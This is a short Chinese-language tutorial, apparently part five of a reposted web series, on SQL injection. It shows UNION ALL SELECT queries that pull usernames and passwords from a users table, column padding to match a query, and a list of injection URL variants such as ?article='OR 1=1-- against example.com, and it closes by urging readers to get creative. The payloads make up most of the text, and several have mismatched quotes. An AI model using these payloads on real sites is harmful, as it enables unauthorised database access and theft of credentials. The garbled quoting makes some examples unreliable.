XSS & SQL注入(5)




~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "=' 
AND password='OR "='

你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT 
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs 
WHERE ip='OR''="

现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34 
那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article=' 


现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article=' 
http://example.com/index.php?article='=' 
http://example.com/index.php?article='OR 1=1-- 
http://example.com/index.php?article='OR a=a-- 
http://example.com/index.php?article='OR '=" 
http://example.com/index.php?article='OR "=' 
http://example.com/index.php?article='OR ''=' 
http://example.com/index.php?article='OR '='' 
http://example.com/index.php?article='OR''=' 
http://example.com/index.php?article='OR"'=' 
http://example.com/index.php?article='OR"''=' 

尽情发挥自己的创造力! 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1413.html